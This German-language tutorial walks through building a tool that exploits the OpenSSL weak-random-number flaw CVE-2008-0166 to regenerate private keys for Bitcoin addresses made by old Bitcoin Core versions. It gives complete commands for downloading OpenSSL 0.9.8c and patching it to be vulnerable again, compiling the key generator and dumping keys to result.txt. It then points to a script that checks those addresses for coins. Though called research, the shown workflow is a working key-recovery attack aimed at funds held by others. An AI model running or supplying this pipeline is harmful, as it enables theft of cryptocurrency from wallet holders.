
Suche nach BTC-Coins auf früheren Versionen von Bitcoin Core mit kritischer Schwachstelle OpenSSL 0.9.8 CVE-2008-0166
In diesem Artikel werden wir ein Tool erstellen, das Bitcoin-Adressen (P2PKH) mithilfe der CVE-2008-0166-Schwachstelle generiert. Dies ist ein Forschungsprojekt, um BTC-Coins auf früheren Versionen des Bitcoin-Core-Softwareclients zu finden.
Zufallszahlengenerator der vorhersehbare Zahlen erzeugt CVE-2008-0166
VAIM-OpenSSL 0.9.8/1.0.0 erkannt
Die kritische Schwachstellenversion OpenSSL 0.9.8 CVE-2008-0166 wurde nur mit der Prozess-ID befüllt. Aufgrund von Unterschieden zwischen Endianness und sizeof(long) ist die Ausgabe architekturabhängig: 32 -Bit-Big-Endian (z. B. i386), 64 -Bit-Big-Endian (z. B. amd64, ia64), 32 -Bit-Big-Endian (z. B. powerpc , sparc). PID 0 ist der Kern, und ( ) wird durch Portierung nicht erreicht, daher gab es mögliche Zufallszahlenströme für jede Architektur.
PID_MAX
Der Bitcoin-Core-Softwareclient verwendet OpenSSL. Genauer gesagt verwendet er die Funktion «EC_KEY_generate_key()» zur Generierung von Bitcoin-Adressen (wie ein Schlüssel) zum Empfangen von Zahlungen. Alte Versionen von Bitcoin Core generieren und speichern 100 Schlüssel in wallet.dat
Ein neuer Schlüssel wird nur generiert, wenn eine Bitcoin-Zahlung empfangen wird. Somit hält der Bitcoin-Core-Softwareclient einen Pool von 100 ungenutzten Bitcoin-Schlüsseln (Adressen) . Der Zustand des internen Zufallszahlengenerators hängt davon ab, welche anderen Aufrufe an die Bibliothek OpenSSL vor dem Aufruf 'EC_KEY_generate_key()' getätigt wurden. Herausforderungen, die den internen Zustand des RNG beeinflussen: «RAND_add(8)», «RAND_bytes(8)» и «RAND_bytes(32)».
Die Forschung bestand also darin, viele alte Bitcoin-Quellen zu durchsuchen, um herauszufinden, welche Aufrufe den internen Zustand des RNG vor dem Aufruf «EC_KEY_generate_key()». beeinflusst haben. Der Aufrufpfad ändert sich zwischen den Versionen des Bitcoin-Core-Softwareclients
Die Studie konzentrierte sich auf die folgenden Versionen:

Unser Ziel ist es, für jede Version des Bitcoin-Core-Softwareclients, für jede Architektur (le32/le64), für jede Prozess-ID und für Bitcoin-Adressen (P2PKH) private Schlüssel zu generieren, unter Verwendung einer Zufallszahl aus einer kritischen Schwachstelle. OpenSSL 0.9.8.
Letztendlich werden wir einen Bitcoin-Adressgenerator (P2PKH) erstellen und alles wird in einer Datei result.txt gespeichert.

Dazu verwenden wir das Distributionspaket «Ubuntu 18.04.5 LTS» von Google Colab

Früher haben wir eine Videoanleitung aufgezeichnet: «TERMINAL in Google Colab schafft alle Annehmlichkeiten für die Arbeit in GITHUB»
Öffnen Sie Google Colab in Terminal [TerminalGoogleColab]
Führen wir den Befehl aus:
cat /etc/lsb-release
Gehen wir zum «CryptoDeepTools» Repository und werfen wir einen Blick auf die Details
git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

Aktualisieren und installieren g++ libgmp3-dev libmpfr-dev
apt-get update
sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

Um OpenSSL wieder wie in CVE-2008-0166 angreifbar zu machen
Laden Sie openssl-0.9.8c.tar.gz herunter und patchen Sie Systemdateien
wget https://ftp.openssl.org/source/old/0.9.x/openssl-0.9.8c.tar.gz


tar xfz openssl-0.9.8c.tar.gz
mv openssl-0.9.8c openssl-0.9.8c-vuln
cd openssl-0.9.8c-vuln

ls -lh
patch -p1 <../make-OpenSSL-0-9-8c-vulnerable-again.diff
./Configure linux-x86_64 shared no-ssl2 no-ssl3 no-comp no-asm
make depend all
cd /
ls

cd content/CryptoDeepTools/05VulnerableOpenSSL/
ls -lh

gcc -o cryptodeepbtcgen cryptodeepbtc.c -I./openssl-0.9.8c-vuln/include -L./openssl-0.9.8c-vuln -lssl -lcrypto
ls -lh

LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -h
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
crypto > LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -l
#0 - 0.3.24
#1 - 0.8.6-d
#2 - 0.8.6-qt
#3 - 0.9.1-d
#4 - 0.9.4-d
#5 - unknownA
#6 - unknownB
#7 - unknownC
#8 - unknownD
#9 - unknownE
#10 - unknownF
#11 - unknownG
#12 - unknownH
#13 - unknownI
#14 - unknownJ
#15 - unknownK
#16 - unknownA0
#17 - unknownA1
#18 - unknownA2
#19 - unknownA3
#20 - unknownA4
#21 - unknownB0
#22 - unknownB1
#23 - unknownB2
#24 - unknownB3
#25 - unknownC0
#26 - unknownC1
#27 - unknownC2
#28 - unknownD0
#29 - unknownD1
#30 - unknownD2
#31 - unknownD3
#32 - unknownD4
#33 - unknownD5
#34 - unknownE0
#35 - unknownA0x
#36 - unknownA1x
#37 - unknownA2x
#38 - unknownA3x
#39 - unknownA4x
#40 - unknownB0x
#41 - unknownB1x
#42 - unknownB2x
#43 - unknownB3x
#44 - unknownC0x
#45 - unknownC1x
#46 - unknownC2x
#47 - unknownD0x
#48 - unknownD1x
#49 - unknownD2x
#50 - unknownD3x
#51 - unknownD4x
#52 - unknownD5x
#53 - unknownE0x
crypto >
LD_LIBRARY_PATH=./openssl-0.9.8c-vuln/ ./cryptodeepbtcgen -n 32 -v 0 >> result.txt

Alles wird im Dateispeicher Google Drive als Textdatei result.txt gespeichert.


Als Nächstes müssen alle generierten Bitcoin-Adressen auf das Vorhandensein von BTC-Coins überprüft werden. Dazu können wir das Python-Skript verwenden: bitcoin-checker.py
Video: https://youtu.be/zHkXups2I8k
| Spendenadresse | |
|---|---|
| ♥ BTC | 1Lw2gTnMpxRUNBU85Hg4ruTwnpUPKdf3nV |
| ♥ ETH | 0xaBd66CF90898517573f19184b3297d651f7b90bf |